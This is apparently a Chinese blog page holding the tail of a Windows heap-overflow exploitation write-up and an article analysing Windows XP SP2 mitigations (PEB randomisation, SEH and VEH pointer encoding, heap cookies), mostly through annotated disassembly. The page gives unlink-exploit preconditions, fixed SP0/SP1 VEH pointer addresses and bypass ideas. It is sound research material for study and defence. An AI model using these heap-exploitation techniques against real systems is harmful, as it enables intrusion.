001B:77FCCA04 0FB70F MOVZX ECX,WORD PTR [EDI] //ECX即buf2的堆的长度
001B:77FCCA07 03C8 ADD ECX,EAX //加上buf1的堆的长度
001B:77FCCA09 81F900FE0000 CMP ECX,0000FE00 //是否大于0xfe00
001B:77FCCA0F 77EA JA 77FCC9FB //大于则跳,这里不能跳
001B:77FCCA11 807D1400 CMP BYTE PTR [EBP+14],00
001B:77FCCA15 0F85FB210000 JNZ 77FCEC16
001B:77FCCA1B 8A4705 MOV AL,[EDI+05] //AL即buf2的flag
001B:77FCCA1E 2410 AND AL,10 //是否含HEAP_ENTRY_LAST_ENTRY
001B:77FCCA20 A810 TEST AL,10
001B:77FCCA22 884605 MOV [ESI+05],AL //将buf1的flag置为HEAP_ENTRY_LAST_ENTRY
001B:77FCCA25 754B JNZ 77FCCA72 //含则跳,这里不能跳
001B:77FCCA27 57 PUSH EDI
001B:77FCCA28 53 PUSH EBX
001B:77FCCA29 E80CCBFBFF CALL 77F8953A
001B:77FCCA2E 8B4F0C MOV ECX,[EDI+0C] //将buf2的0x0c偏移给ECX
001B:77FCCA31 8B4708 MOV EAX,[EDI+08] //将buf2的0x08偏移给EAX
001B:77FCCA34 3BC1 CMP EAX,ECX
001B:77FCCA36 8901 MOV [ECX],EAX //这里发生异常
001B:77FCCA38 894804 MOV [EAX+04],ECX

方式三和方式二都是利用RtlFreeHeap函数,它们的分岔口在于关键点二的

001B:77FCC8B8 0F858BF2FFFF JNZ 77FCBB49

方式二在这里要跳,方式三不能跳,从而进入下面的CALL(关键点三)
发生异常时ECX=0x22222222,EAX=0x11111111,这是我们能控制的。
可见方式三的前提有三个
1)构造堆(buf2)的长度不能为0
2)构造堆的上一个堆(buf1)和构造堆的长度相加不能大于0xfe00(div8之后)
3)构造堆的flag不能包含HEAP_ENTRY_BUSY

除了以上三种利用方式还有一种,和方式三差不多,不过是在free(buf2)时发生异常,应该是由于在合并下一个堆时长度计算错误造成的,具体就不分析了,类似于linux下的堆溢出,不过windows下不能将堆长度设为负数,造成一定的麻烦,sign

溢出之后的事情就不再说了。写这些主要为了分析总结一些东西,希望对初学者有帮助,不当之处请指正。(按:就是我这样的,呵呵)

3.
Widows Xp Sp2溢出保护

By funnywei & jerry

我们知道在我们对溢出漏洞进行exp的时候,经常要利用全局性的指针,利用异常处理。那么XP的sp2对此作了处理。使得我们无法运用以前的技巧来完成我们的工作。例如,对全局性的指针都作了编码处理。

那么具体来讲,本文主要谈到以下
1、映射给PEB管理结构的起始地址做了随机处理。后面我们会看到这种随机是很弱的,但已经足够让exp无法完成或者说是稳定的工作。
2、对TOP SEH的保护
3、VEH链表指针_RtlpCalloutEntryList的保护
4、堆块结构的cookie保护

不涉及内容:
1、如何绕过保护机制
2、堆管理的细节,其实没有太大的变化

主题开始:

1、PEB的地址的随机

xp系统下,创建进程使用的是_NtCreateProcessEx函数,而不是_NtCreateProcess函数。_NtCreateProcess主要调用_PspCreateProcess@36函数来完成进程的创建工作

PAGE:004B4649 call_PspCreateProcess@36 ; PspCreateProcess(x,x,x,x,x,x,x,x,x)

进程的创建主要包括设置EPROCESS,创建初始进程地址空间等。这里就不罗嗦了。PEB的设置通过调用_MmCreatePeb.


PAGE:004B428E pusheax
PAGE:004B428F pushebx
PAGE:004B4290 pushdword ptr [ebp-60h]
PAGE:004B4293 call_MmCreateProcessAddressSpace@12 ; MmCreateProcessAddressSpace(x,x,x)


PAGE:004B43E5 lea eax, [ebx+1B0h]
PAGE:004B43EB pusheax
PAGE:004B43EC lea eax, [ebp-40h]
PAGE:004B43EF pusheax
PAGE:004B43F0 pushebx
PAGE:004B43F1 call_MmCreatePeb@12 ; MmCreatePeb(x,x,x)

而MmCreatePeb又主要通过调用_MiCreatePebOrTeb

PAGE:004B4A61 ; __stdcall MmCreatePeb(x,x,x)
PAGE:004B4A61 _MmCreatePeb@12 proc near ; CODE XREF: PspCreateProcess(x,x,x,x,x,x,x,x,x)+303p
PAGE:004B4A61
PAGE:004B4A61 ; FUNCTION CHUNK AT PAGE:005267FF SIZE 000000DC BYTES
PAGE:004B4A61
PAGE:004B4A61 push3Ch
PAGE:004B4A63 pushoffset dword_42DAA8
PAGE:004B4A68 call__SEH_prolog
PAGE:004B4A6D xor ebx, ebx
PAGE:004B4A6F mov [ebp-20h], ebx
PAGE:004B4A72 mov [ebp-4Ch], ebx
PAGE:004B4A75 mov [ebp-48h], ebx
PAGE:004B4A78 mov [ebp-2Ch], ebx
PAGE:004B4A7B mov esi, [ebp+8]
PAGE:004B4A7E pushesi
PAGE:004B4A7F call_KeAttachProcess@4 ; KeAttachProcess(x)
PAGE:004B4A84 push2
PAGE:004B4A86 pop edi
PAGE:004B4A87 pushedi
PAGE:004B4A88 push(offset loc_4FFFFE+2)
PAGE:004B4A8D push1
PAGE:004B4A8F lea eax, [ebp-2Ch]
PAGE:004B4A92 pusheax
PAGE:004B4A93 lea eax, [ebp-4Ch]
PAGE:004B4A96 pusheax
PAGE:004B4A97 pushebx
PAGE:004B4A98 pushebx
PAGE:004B4A99 lea eax, [ebp-20h]
PAGE:004B4A9C pusheax
PAGE:004B4A9D pushesi
PAGE:004B4A9E pushds:_InitNlsSectionPointer
PAGE:004B4AA4 call_MmMapViewOfSection@40 ; MmMapViewOfSection(x,x,x,x,x,x,x,x,x,x)
PAGE:004B4AA9 mov [ebp-24h], eax
PAGE:004B4AAC cmp eax, ebx
PAGE:004B4AAE jlloc_5267FF
PAGE:004B4AB4 lea eax, [ebp-1Ch]

注意下面这个210参数,类似一个Flag。在后面你会发现,如果该参数不等于210,那么映射的PEB地址将不会产生随机值,而是会跟以前的一样,始终在7FFDF000位置。

PAGE:004B4AB7 pusheax
PAGE:004B4AB8 push210h
;注意这个参数!
PAGE:004B4ABD pushesi
PAGE:004B4ABE call_MiCreatePebOrTeb@12 ; MiCreatePebOrTeb(x,x,x)

真正完成工作
_MiCreatePebOrTeb@12 函数

PAGE:004B01AE call_ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x)
PAGE:004B01B3 mov esi, eax

PAGE:004B01B5 testesi, esi
PAGE:004B01B7 jzloc_52678E
PAGE:004B01BD mov eax, [ebp+arg_8]
PAGE:004B01C0 mov ecx, [ebp+arg_8]
PAGE:004B01C3 and eax, 0FFFh
PAGE:004B01C8 neg eax
PAGE:004B01CA sbb eax, eax
PAGE:004B01CC neg eax
PAGE:004B01CE shr ecx, 0Ch

PAGE:004B01FB cmp [ebp+arg_8], 210h
PAGE:004B0202 jzloc_4B4A0A
;这里将210与压栈的参数比较,如果压入栈的不是210呢


PAGE:004B0208 loc_4B0208: ; CODE XREF: MiCreatePebOrTeb(x,x,x)+48ADj
PAGE:004B0208 mov edi, [ebp+arg_C]
PAGE:004B020B mov eax, _MmHighestUserAddress
PAGE:004B0210 pushedi
PAGE:004B0211 pushdword ptr [ebx+11Ch]
PAGE:004B0217 add eax, 0FFFF0001h
PAGE:004B021C push1000h
PAGE:004B0221 pusheax
PAGE:004B0222 mov eax, [ebp+arg_8]
PAGE:004B0225 add eax, 0FFFh
PAGE:004B022A and eax, 0FFFFF000h
PAGE:004B022F pusheax
PAGE:004B0230 call_MiFindEmptyAddressRangeDownTree@20 ; MiFindEmptyAddressRangeDownTree(x,x,x,x,x)
PAGE:004B0235 testeax, eax
PAGE:004B0237 mov [ebp+arg_C], eax
PAGE:004B023A jlloc_5267A5



关键是这里
PAGE:004B4A0A loc_4B4A0A: ; CODE XREF: MiCreatePebOrTeb(x,x,x)+66j
PAGE:004B4A0A mov edi, _MmHighestUserAddress
;总是7FFEFFFF
PAGE:004B4A10 lea eax, [ebp+var_C]
PAGE:004B4A13 pusheax
PAGE:004B4A14 add edi, 0FFFF0001h
;此时edi为7FFE0000
PAGE:004B4A1A call_KeQueryTickCount@4 ; KeQueryTickCount(x)
PAGE:004B4A1F mov eax, [ebp+var_C]
PAGE:004B4A22 and eax, 0Fh
;只取最后一个字节的值,比如此时为0C
PAGE:004B4A25 cmp eax, 1
;看eax此时是不是为01
PAGE:004B4A28 mov [ebp+var_C], eax
PAGE:004B4A2B jbe loc_4B4928
;如果是就跳到去处理

PAGE:004B4A31 loc_4B4A31: ; CODE XREF: MiCreatePebOrTeb(x,x,x)+4792j
PAGE:004B4A31 shl eax, 0Ch
PAGE:004B4A34 sub edi, eax
PAGE:004B4A36 lea eax, [edi+0FFFh]
PAGE:004B4A3C pusheax
PAGE:004B4A3D pushedi
PAGE:004B4A3E pushebx
PAGE:004B4A3F mov [ebp+var_4], edi

PAGE:004B4928 loc_4B4928: ; CODE XREF: MiCreatePebOrTeb(x,x,x)+488Fj
如果eax为1,那么就更改为2.这样避免最后计算出来为7FFDF000.而是为7FFDE000
PAGE:004B4928 push2
PAGE:004B492A pop eax
PAGE:004B492B mov [ebp+var_C], eax
PAGE:004B492E jmp loc_4B4A31

因为KeTickCount是进程的一个时间计数,所以无法预测。

.text:0041CAA8 mov edi, edi
.text:0041CAAA pushebp
.text:0041CAAB mov ebp, esp
.text:0041CAAD mov ecx, _KeTickCount.High1Time
.text:0041CAB3 mov eax, [ebp+arg_4]
.text:0041CAB6 mov [eax+4], ecx
.text:0041CAB9 mov edx, _KeTickCount.LowPart
.text:0041CABF mov [eax], edx


经过上面的分析我们知道,如果如果eax随机出来是1,2,那么最后分配的PEB的地址都是7FFDE000,这是为了避免以前的
7FFDF000地址的出现,使得以前的堆利用代码都失效。:)
1,27FFDE000
37FFDD000
47FFDC000
57FFDB000
67FFDA000
77FFD9000
87FFD8000
97FFD7000
A7FFD6000
B7FFD5000
C7FFD4000
D7FFD3000
E7FFD2000
F7FFD1000
07FFDE000

上面列出了可以看到PEB的所有可能值,可以看到7FFDE000的概率最高,1/8,其他都是1/16。:),但即使这样,也没法稳定利用了。

2、对TOP SEH的保护

微软对函数SetUnhandledExceptionFilter的代码进行了重大的调整。SetUnhandledExceptionFilter是kernel32.dll中导出的一个函数,用来设置一个筛选器异常处理回掉函数,这个回掉函数不替换系统默认的异常处理程序,而只是在它前面进行了一些预处理,操作的结果还是会送到系统默认的异常处理程序中去,这个过程就相当于对异常进行了一次筛选。
函数的SetUnhandledExceptionFilter调用方式为:
LPTOP_LEVEL_EXCEPTION_FILTER SetUnhandledExceptionFilter(
LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter
);
这个函数唯一的一个参数就是需要设置的回调函数的地址,返回值为上一次设置的回掉函数的地址。该函数不是在原来的回掉函数前再挂一个回掉函数,而是用这个新的回掉函数替换原来的那个回掉函数。如果地址参数被指定为NULL,那么系统将去掉这个“筛子”而直接将异常送往默认的异常处理程序。winxp sp2对这个函数做了重大的改变,在替换原来的回掉函数之前,首先会先对新的回掉函数的地址进行加密,而后再替换原来的回掉函数。在返回原回掉函数地址之前,会对其进行解密。该函数比较简单:
.text:7C810386 SetUnhandledExceptionFilter proc near
.text:7C810386 lpTopLevelExceptionFilter = dword ptr8
.text:7C810386
.text:7C810386 mov edi, edi
.text:7C810388 push ebp
.text:7C810389 mov ebp, esp
;这里先对地址lpTopLevelExceptionFilter进行加密
.text:7C81038B push [ebp+ lpTopLevelExceptionFilter]
.text:7C81038E callRtlEncodePointer
;而后将加密之后的地址和原回掉函数地址进行交换,也就是将加密之后的地址写入到
;一个全局变量中,同时将该全局变量中的原回掉函数地址返回
.text:7C810393 push eax ; Value
.text:7C810394 push offset Target; Target
.text:7C810399 callInterlockedExchange
;在返回原回掉函数地址之前先进行解密,因为原回掉函数地址也进行了加密
.text:7C81039E push eax
.text:7C81039F callRtlDecodePointer
.text:7C8103A4 pop ebp
.text:7C8103A5 retn4
.text:7C8103A5 SetUnhandledExceptionFilter endp ; sp = -8
.text:7C8103A5

而以前都是直接将回掉函数的地址写入到全局变量中,没有经过任何的处理。可见,我们再也无法像以前一样通过覆盖该函数指针来利用堆溢出了。而且经过分析发现,winxp sp2对所有的全局指针都进行了这样的加密处理。接着往下看它是怎么对地址进行加密的。
RtlEncodePointer和RtlDecodePointer都是ntdll.dll导出的函数,RtlEncodePointer用来对一个指针进行加密,RtlDecodePointer用来对一个指针进行解密。其实整个个加密解密过程都很简单,加密时直接将指针和一个的随机数进行异或,解密时再和该随机数进行异或。
加密:point = point ^ rand
解密:point = point ^ rand
rand是一个跟进程相关的随机数,通过调用函数ZwQueryInformationProcess得到,每个进程该随机数都不一样。
为了避免你再次进行反汇编,这里贴出这两个函数的代码。
RtlEncodePointer函数的代码如下:
.text:7C933917 RtlEncodePointer proc near
.text:7C933917 var_4 = dword ptr -4
.text:7C933917 arg_4 = dword ptr8
.text:7C933917
.text:7C933917 mov edi, edi
.text:7C933919 pushebp
.text:7C93391A mov ebp, esp
;调用函数ZwQueryInformationProcess得到一个跟进程相关的随机数
.text:7C93391C pushecx
.text:7C93391D push0
.text:7C93391F push4
;这里得到堆栈中的一个临时变量的地址,最后得到的随机数将保存在这个临时变量中。
.text:7C933921 lea eax, [ebp+var_4]
.text:7C933924 pusheax
.text:7C933925 push24h ;子功能代码为0x24
.text:7C933927 push0FFFFFFFFh
.text:7C933929 callZwQueryInformationProcess
;将得到的随机数和指针进行异或,这样就完成了加密。
;解密的过程和加密的过程相同
.text:7C93392E mov eax, [ebp+var_4]
.text:7C933931 xor eax, [ebp+arg_4]
.text:7C933934 leave
.text:7C933935 retn4
.text:7C933935 RtlEncodePointer endp ; sp =4

函数RtlDecodePointer更简单,只是直接转到RtlEncodePointer执行,因为解密的过程和加密的过程完全相同。

.text:7C93393D RtlDecodePointer proc near
;下面这四跳语句没有任何的作用
.text:7C93393D mov edi, edi
.text:7C93393F pushebp
.text:7C933940 mov ebp, esp
.text:7C933942 pop ebp
;下面这条语句转到RtlEncodePointer执行,其实就相当于直接调用了函数
;RtlEncodePointer
.text:7C933943 jmp short RtlEncodePointer
.text:7C933943 RtlDecodePointer endp

ZwQueryInformationProcess最后会调用一个系统调用,转到内核运行,最后会调用内核中的函数NtQueryInformationProcess,并且调用该函数的子功能代码为0x24。该子功能直接取出保存在进程中的一个随机数,并将其拷贝到用户堆栈中的一个临时变量中。如果该随机数为0,则还要根据系统时间重新生成该随机数,一般在进程刚开始创建的时候,这个随机数为0,从而会重新生成该随机数。由于该随机数跟进程创建的时间有关,所以这个随机数是无法猜测的。该函数在ntoskrnl.exe中导出,跟这个功能相关的函数代码为:
PAGE:004970CC loc_4970CC:
;下面的代码得到一个进程唯一的随机数,子功能代码为0x24
PAGE:004970CC cmp edi, edx; case 0x24
PAGE:004970CE jnz loc_497349
PAGE:004970D4 cmp dword ptr [ebp+8], 0FFFFFFFFh
PAGE:004970D8 jnz loc_4977B8
;下面的代码得到保存随机数的地址
PAGE:004970DE mov eax, large fs:124h
PAGE:004970E4 mov eax, [eax+44h]
PAGE:004970E7 mov [ebp-34h], eax
PAGE:004970EA
PAGE:004970EA loc_4970EA:
PAGE:004970EA mov edi, [ebp-34h]
PAGE:004970ED add edi, 258h
;edi地址中保存的是一个跟进程相关的随机数,这里取出这个随机数
PAGE:004970F3 mov eax, [edi]
PAGE:004970F5 testeax, eax
PAGE:004970F7 jzloc_4B2379
{
 ;如果得到的随机数为0,则重新得到随机数,得到随机数的过程如下:
 ;1、先得到系统的时间,
 ;2、而后将这个时间和系统内核中的一个值进行不断的异或操作,
;就产生了一个随机数
 PAGE:004B2379
 PAGE:004B2379 loc_4B2379:
;得到系统时间
PAGE:004B2379 lea eax, [ebp-3Ch]
 PAGE:004B237C pusheax
 PAGE:004B237D callKeQuerySystemTime
 PAGE:004B2382 db3Eh
;得到系统内核中的一个全局变量,该全局变量估计也是一个随机数
 PAGE:004B2382 mov eax, ds:0FFDFF020h
 PAGE:004B2388 mov ecx, [eax+518h]
 PAGE:004B238E xor ecx, [eax+4B8h]
;将得到的随机数和得到系统时间进行异或
 PAGE:004B2394 xor ecx, [ebp-38h]
 PAGE:004B2397 xor ecx, [ebp-3Ch]
 ;将计算得到的随机数保存在上面的跟进程相关的全局变量中,edi中保存的就是
;这个地址。
 PAGE:004B239A mov [ebp-0CCh], ecx
 PAGE:004B23A0 mov [ebp-0D4h], edi
 PAGE:004B23A6 mov eax, 0
 PAGE:004B23AB mov ecx, [ebp-0D4h]
 PAGE:004B23B1 mov edx, [ebp-0CCh]
 PAGE:004B23B7 cmpxchg [ecx], edx
 PAGE:004B23BA push4
 PAGE:004B23BC pop edx
 ;重新转到loc_4970EA,再一次得到刚才生成的随机数,如果该生成的随机数为
;0,则还会重新生成。
 PAGE:004B23BD jmp loc_4970EA
}
;得到随机数之后,将其拷贝到用户栈中的一个临时变量中,esi保存的就是这个临时
;变量的地址。至此,就得到了一个跟进程相关的随机数,该随机数跟进程的创建时间
;相关。
PAGE:004970FD mov dword ptr [ebp-4], 15h
PAGE:00497104 mov [esi], eax
PAGE:00497106 testebx, ebx
PAGE:00497108 jnz loc_497AA5
PAGE:0049710E jmp loc_4955F5

到这里我们已经完全清楚了整个随机数的获取过程。该随机数跟进程的创建时间相关,可见我们是无法猜得该随机数的。不过这个随机数只是再进程创建的时候产生,并且直到进程结束,该随机数都不会改变。所以,如果我们可以得到该随机数,在进程结束之前还是可以利用的。比如我们可以将其和我们的跳转地址进行异或,通过溢出将其写入到最高溢出处理地址,就可以像以前一样利用了。
不过这种方法对于远程溢出是无法利用的。但是如果能够覆盖程序的导入表或者静态数据段,那就是最理想的情况了。不过系统DLL的导入表不能够修改,但是一般程序的导入表还都是可以改的,所以还是有利用的可能性的。如果在静态数据段中存在某些函数的指针,则可以进行覆盖,从而加以利用,如果存在这种情况的话,要做到利用的通用还是有可能的。

3、VEH链表指针_RtlpCalloutEntryList的保护

我们知道堆溢出经常用的一个技巧就是修改VEH的链表指针。这在xp sp0和sp1的环境下都好使。但是sp2同样堵住了这条路。

xp_sp2下

异常处理过程
KiUserExceptionDispatcher
|
________RtlDispatchException
 |
 ___________RtlCallVectoredExceptionHandlers



sp2中,该指针位于
.data:7C99C320 _RtlpCalloutEntryList dd 0; DATA XREF: LdrpInitializeProcess(x,x,x,x,x)+2EFo
.data:7C99C320 ; LdrpInitializeProcess(x,x,x,x,x)+2F9w ...

我们就直接看看RtlCallVectoredExceptionHandlers函数

.text:7C95779C ; __stdcall RtlCallVectoredExceptionHandlers(x,x)
.text:7C95779C _RtlCallVectoredExceptionHandlers@8 proc near
.text:7C95779C ; CODE XREF: RtlDispatchException(x,x)+14p
.text:7C95779C mov edi, edi
.text:7C95779E pushebp
.text:7C95779F mov ebp, esp
.text:7C9577A1 pushecx
.text:7C9577A2 pushecx
.text:7C9577A3 pushedi
这里就比较VEH的链表是不是空的,也就是看自己是否指向自己。如果是空的就不用说了,非空就转向该指针的调用
.text:7C9577A4 mov edi, offset _RtlpCalloutEntryList
.text:7C9577A9 cmp _RtlpCalloutEntryList, edi
.text:7C9577AF jnz loc_7C962DA0


.text:7C962DA0 loc_7C962DA0: ; CODE XREF: RtlCallVectoredExceptionHandlers(x,x)+13j
.text:7C962DA0 mov eax, [ebp+arg_4]
.text:7C962DA3 pushebx
.text:7C962DA4 pushesi
.text:7C962DA5 mov [ebp+var_8], eax
.text:7C962DA8 mov eax, [ebp+arg_8]
.text:7C962DAB mov ebx, offset _RtlpCalloutEntryLock
.text:7C962DB0 pushebx
.text:7C962DB1 mov [ebp+var_4], eax
.text:7C962DB4 call_RtlEnterCriticalSection@4 ; RtlEnterCriticalSection(x)
.text:7C962DB9 mov esi, _RtlpCalloutEntryList
.text:7C962DBF jmp short loc_7C962DD6

.text:7C962DC1 loc_7C962DC1: ; CODE XREF: RtlInitializeResource(x)+21C3Dj
.text:7C962DC1 pushdword ptr [esi+8]

代码就不解释那么多了,可以看到指针在使用前必须先解码,这个函数前面已经讲解过了。
.text:7C962DC4 call_RtlDecodePointer@4 ; RtlDecodePointer(x)
.text:7C962DC9 lea ecx, [ebp+var_8]
.text:7C962DCC pushecx
.text:7C962DCD calleax
.text:7C962DCF cmp eax, 0FFFFFFFFh
.text:7C962DD2 jzshort loc_7C962DEE
.text:7C962DD4 mov esi, [esi]

所以可以看到在sp2下无法利用这个覆盖VEH链表指针的技巧了。

给出xp sp1下通用的指针

xp sp1下
.text:77F60C26 ; __stdcall RtlCallVectoredExceptionHandlers(x,x)
.text:77F60C26 _RtlCallVectoredExceptionHandlers@8 proc near
.text:77F60C26 ; CODE XREF: RtlDispatchException(x,x)+Ep
.text:77F60C26 pushebp
.text:77F60C27 mov ebp, esp
.text:77F60C29 pushecx
.text:77F60C2A pushecx
.text:77F60C2B pushedi
.text:77F60C2C mov edi, offset _RtlpCalloutEntryList
.text:77F60C31 cmp _RtlpCalloutEntryList, edi
;这里我们可以看到将77FC3210的值放入edi,然后和该地址的内容相比较,如果没有安装VEH,那么该地址
;的内容也是77FC3210,就不会跳转到77F7F485。如果用户安装了VEH,那么就会跳到77F7F485
.text:77F60C37 jnz loc_77F7F485
.text:77F60C3D xor al, al
.text:77F60C3F
.text:77F60C3F loc_77F60C3F: ; CODE XREF: RtlInitializeResource(x)+1B6CDj
.text:77F60C3F pop edi
.text:77F60C40 leave
.text:77F60C41 retn8

.text:77F7F485 loc_77F7F485: ; CODE XREF: RtlCallVectoredExceptionHandlers(x,x)+11j
.text:77F7F485 mov eax, [ebp+8]
.text:77F7F488 pushebx
.text:77F7F489 pushesi
.text:77F7F48A mov [ebp-8], eax
.text:77F7F48D mov eax, [ebp+0Ch]
.text:77F7F490 mov ebx, offset _RtlpCalloutEntryLock
.text:77F7F495 pushebx
.text:77F7F496 mov [ebp-4], eax
.text:77F7F499 call_RtlEnterCriticalSection@4 ; RtlEnterCriticalSection(x)

关键的下面这个部分,从77FC3210里面取出安装的处理函数地址

.text:77F7F49E mov esi, _RtlpCalloutEntryList
.text:77F7F4A4 jmp short loc_77F7F4B4
.text:77F7F4A6 loc_77F7F4A6: ; CODE XREF: RtlInitializeResource(x)+1B6BCj
.text:77F7F4A6 lea eax, [ebp-8]
.text:77F7F4A9 pusheax
.text:77F7F4AA calldword ptr [esi+8]
;这里esi指向struct _VECTORED_EXCEPTION_NODE结构,其0x08处为m_pfnVectoredHandler
;看到这里我们也就明白了,如果我们可以控制该指针,那么我们就可以控制程序的流程了!
.text:77F7F4AD cmp eax, 0FFFFFFFFh


.text:77F7F4B4 loc_77F7F4B4: ; CODE XREF: RtlInitializeResource(x)+1B6AAj
.text:77F7F4B4 cmp esi, edi
.text:77F7F4B6 jnz short loc_77F7F4A6

xp_sp0下

_RtlpCalloutEntryList 位于77FC5BD0

.data:77FC5BD0 _RtlpCalloutEntryList dd 0; DATA XREF: RtlCallVectoredExceptionHandlers(x,x)+6o
.data:77FC5BD0 ; RtlCallVectoredExceptionHandlers(x,x)+Br ...

4、堆块的cookie保护

现在堆块的结构
HEAP_ENTRYstruc ; (sizeof=0X8)
Sizedw ?
PrevSizedw ?
Cookiedb ?
Flags db ?
UnusedBytes db ?
Index db ?
HEAP_ENTRYends

空闲块管理结构
_RTL_HEAP_FREE_BLOCK struc ; (sizeof=0X10)
Entry _RTL_HEAP_ENTRY ?
ListLIST_ENTRY ?
_RTL_HEAP_FREE_BLOCK ends

对比一下以前的堆块结构
typedef struct _HEAP_ENTRY {
/*0x00*/USHORT Size;
/*0x02*/USHORT PreviousSize;
/*0x04*/UCHAR SegmentIndex;
/*0x05*/UCHAR Flags;
/*0x06*/UCHAR UnusedBytes;
/*0x07*/UCHAR SmallTagIndex;
} HEAP_ENTRY, *PHEAP_ENTRY;

可以看到SmallTagIndex被舍弃了,SegmentIndex挪动到后面,而第5个字节更改为cookie。
Cookie的计算公式:

堆块头部地址除以8,然后跟Heap的总体管理结构中的cookie来异或就得到了cookie的值。
代码如下
.text:7C931487 mov edx, esi ;ESI指向HEAP_ENTRY
.text:7C931489 shr edx, 3
.text:7C93148C xor eax, eax
.text:7C93148E mov al, [edi+4] ; 进行Cookie处理,此时edi指向堆管理结构分配头部
.text:7C931491 xor eax, edx
.text:7C931493 mov [esi+4], al

那么我们可以看到cookie有256个可能的值,所以你也就不用费尽心思来想怎么覆盖cookie而不出错了。当然有很多办法绕过cookie的检测。
xp sp2对于堆的管理并没有太大的变化,但是堆的管理结构,堆块,还有Lookaside表的某些字段发生了变化,比如说有的字段从dd变成了dw,因此加了几个字段。这些细节就不在这里罗嗦了。



<< Home

This page is powered by Blogger. Isn't yours?